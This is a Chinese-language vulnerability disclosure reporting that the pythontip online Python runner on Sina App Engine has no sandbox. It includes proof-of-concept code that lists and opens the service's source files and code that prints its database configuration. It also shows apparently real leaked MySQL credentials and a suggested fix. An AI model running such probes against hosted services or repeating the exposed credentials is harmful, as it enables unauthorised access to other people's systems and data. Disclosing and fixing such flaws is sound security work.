新浪saepythontip执行未使用沙箱机制导致代码泄露

在pythontip在线执行中可以获得程序源代码和程序配置

 

pythontip在线编程没有屏蔽os模块中的许多功能，也没有阻止open读取文件内容，导致源代码泄露；pythontip在线编程没有使用隔离的python程序导致可以使用sae模块读取程序配置。

漏洞 证明：

在http://pythontip.sinaapp.com/coding/run运行：

 

import os def get_filepaths(directory): file_paths = [] # List which will store all of the full filepaths. # Walk the tree. for root, directories, files in os.walk(directory): for filename in files: # Join the two strings in order to form the full filepath. filepath = os.path.join(root, filename) file_paths.append(filepath) # Add it to the list. return file_paths # Self-explanatory. for p in get_filepaths("."): if p[-2:] == "py": f = open(p) print "=========[" + p + "]=========" f.close() del f

 

 

 

输出当前目录下全部python脚本内容，截取一部分如下：

 

=========[./manage.py]========= #!/usr/bin/env python import os import sys if __name__ == "__main__": os.environ.setdefault("DJANGO_SETTINGS_MODULE", "pythontip.settings") from django.core.management import execute_from_command_line

 

 

（以后略）

 

 

 

再运行

 

import sae print sae.const.MYSQL_USER print sae.const.MYSQL_PASS print sae.const.MYSQL_HOST print sae.const.MYSQL_DB print sae.const.MYSQL_PORT

 

 

 

输出：（显然是连接信息。虽然sae防止外部连接到数据库，但可能可以通过在线 编程 读取到 数据库 ）

 

y0k0xwjnlj wlw2jmzklz5i122j12i2zj3i34j33z2x3mhii4wy w.rdc.sae.sina.com.cn app_yunmei 3307

 

修复方案：

pythontip事实上已经阻止了部分函数执行（比如os中的execlp不能用，而且没有fork），推荐加强这方面的防护，也推荐使用虚拟化技术来运行python程序。

查看更多关于新浪saepythontip执行未使用沙箱机制导致代码泄露的详细内容...